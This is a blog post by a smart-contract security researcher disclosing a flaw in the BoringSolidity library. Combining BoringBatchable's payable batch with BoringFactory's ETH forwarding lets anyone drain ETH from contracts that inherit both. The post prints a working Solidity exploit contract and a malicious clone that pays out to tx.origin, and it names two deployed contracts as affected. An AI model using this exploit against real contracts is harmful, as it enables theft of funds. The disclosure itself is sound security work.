# Fun with Footguns in BoringSolidity

By [onewayfunction](https://paragraph.com/@onewayfunction) · 2022-01-26

---

I came across a fun footgun in the `BoringSolidity` contracts library and wanted to share it so future devs (and their users) don’t lose a foot. It is closely related to the vuln that samczsun found in the MISO fundraise. Here it is in a single line:

    contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}
    

That is to say, any contract that inherits both `BoringBatchable` and `BoringFactory` can be drained of all ETH by anyone. We’ll discuss below how it works, but if you want to try to figure it out yourself, you can find the `BoringBatchable` contract [here](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol) and the `BoringFactory` contract [here](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol).

BoringBatchable and samczsun’s save
-----------------------------------

The [BoringSolidity contracts](https://github.com/boringcrypto/BoringSolidity/tree/9e5f49f4453acebe99693c1619ca873829df0962/contracts) are a suite of contracts -- akin to OpenZeppelin Contracts -- that can be used to add commonly needed functionality to your own contracts. The suite is popular in some DeFi circles.

The [BoringBatchable contract](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol#L15) allows a caller to batch together several calls to the inheriting contract and have them all executed in a single transaction -- saving gas and improving UX. This is achieved via the `batch` function, which loops over the user’s calls and [causes the contract to delegate call into itself](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol#L38) to perform each of the calls.

Critically, the `batch` function is `payable`, meaning that for _every_ `delegatecall` in the loop, `mgs.value` is potentially a positive number: the amount of ETH that was originally sent when calling the `batch` function. This means that the user _may_ be able to spend the same ETH more than once during a batch.

(Yes, this is itself a footgun, and a now-famous one. But it’s not the footgun this article is about.)

This was brought to light in spectacular fashion when [samczsun discovered it](https://www.paradigm.xyz/2021/08/two-rights-might-make-a-wrong/) in an auction contract related to a SushiSwap’s MISO fund raise (and subsequently helped save over 109k ETH).

The discovery _did_ lead to a change in the `BoringBatchable` contract, but it’s not the change you might have expected. The change wasn’t to make the `batch` function non-payable. It was to add the following [warning in a comment](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol#L10) above the `batch` function that we must hope devs will read:

> Combining BoringBatchable with msg.value can cause double spending issues

Suspecting that some devs who used the library won’t have read the warning, I set out looking for any contracts that inherit `BoringBatchable` and use `msg.value` anywhere in their code.

And that’s when I noticed that `BoringSolidity`‘s very own `BoringFactory` contract lets anyone forward `msg.value` ETH to a contract they can control. This means that the `BoringFactory` contract can be used in conjunction with `BoringBatchable` to drain any contract that inherits them both.

BoringFactory as an ETH-forwarder
---------------------------------

The [BoringFactory contract](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L7) is a straightforward contract that allows any caller [to deploy](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L20) a copy of [any contract that they want](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L21), and have `msg.value` ETH [sent](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L51) from the `BoringFactory` contract to the newly deployed contract’s `init` function.

So, for example, one could deploy the following contract:

    contract MasterContractToClone is IMasterContract {
      function init(bytes calldata data) external override payable { 
        payable(tx.origin).transfer(address(this).balance);
      }
    }
    

Then, any call to `BoringFactory`’s [deploy function](https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L20) that passes in the address of the above contract as the `masterContract` will result in `msg.value` ETH being sent to the top-level caller (`tx.origin` in this case).

Putting it all together
-----------------------

So suppose we have a contract that inherits both `BoringBatchable` and `BoringFactory`:

    contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}
    

How do we drain it?

We start by deploying the following `Exploiter` contract:

    interface IExploitable {
      function batch(bytes[] calldata calls, bool revertOnFail) external payable;
    }
    
    contract Exploiter {
      bytes[] public calls;
    
      // you'll end up stealing 10x the amount of your msg.value, assuming the 
      // exploitable contract holds that much.
      function exploit(address _exploitableContract) external payable {
        require(msg.value > 0, "must send some ETH");
        
        // deploy MasterContractToClone
        address masterContractToClone = address(new MasterContractToClone());
    
        // set calls for batch
        delete calls;
        bytes memory data = "0x123456";
        bytes memory _data = abi.encode(masterContractToClone, data, false);
        bytes memory call = abi.encodePacked(bytes4(keccak256(bytes("deploy(address,bytes,bool)"))), _data);
        for (uint256 i = 0; i < 11; i++) {
          calls.push(call);
        }
    
        // exploit batch + deploy functions
        IExploitable(_exploitableContract).batch{value: msg.value}(calls, true);
      }
    }
    

Then we simply call the `Exploiter.exploit` function, sending along some non-zero amount of ETH. The result is that, at the end of the transaction, the caller will have received 10x the amount of ETH they sent to the call (but no more than the vulnerable contract originally held, of course).

You can play around with this yourself in Remix using this [proof-of-concept code](https://gist.github.com/Austin-Williams/edf598929ae8e8a294d58937f2c49a47).

Wait, why is this fun?
----------------------

This is a dangerous footgun. But as a security researcher, it was a fun one because it revealed a blindspot in my own thinking. `BoringBatchable`, by itself, is not broken. (It’s a hell of a footgun all on its own, but by itself it doesn’t introduce any critical vulnerabilities). The same is true of `BoringFactory`. But when you combine these two contracts -- from the same contract suite! -- they create a theft-of-ETH vulnerability that can be exploited by anyone. This isn’t something I’d seen before, where two contracts from the contract contract suite are independently safe, but unsafe to use together.

Who’s affected?
---------------

I used Etherscan's [search contract feature](https://etherscan.io/searchcontract) to find projects with this vulnerability present. I found only two such projects that are actively used -- [SushiSwap's BentoBoxV1](https://etherscan.io/address/0xf5bce5077908a1b7370b9ae04adc565ebd643966) and [Abracadabra.Money: Degenbox](https://etherscan.io/address/0xd96f48665a1410c0cd669a88898eca36b9fc2cce#code) (these are near duplicates of each other).

Neither of these have any meaningful amount of ETH in the them, and both are _designed_ not to hold any ETH. Additionally both could be drained of ETH in other, in-protocol (intended) ways if needed.

So as far as I can tell, no funds are currently at risk with this vulnerability. Hopefully this article helps keep it that way. :)

If you found this helpful, please consider contributing to my [security spot checks project](https://github.com/Austin-Williams/pro-bono-spot-checks).

Stay safe out there. Cheers!

---

*Originally published on [onewayfunction](https://paragraph.com/@onewayfunction/fun-with-footguns-in-boringsolidity-2)*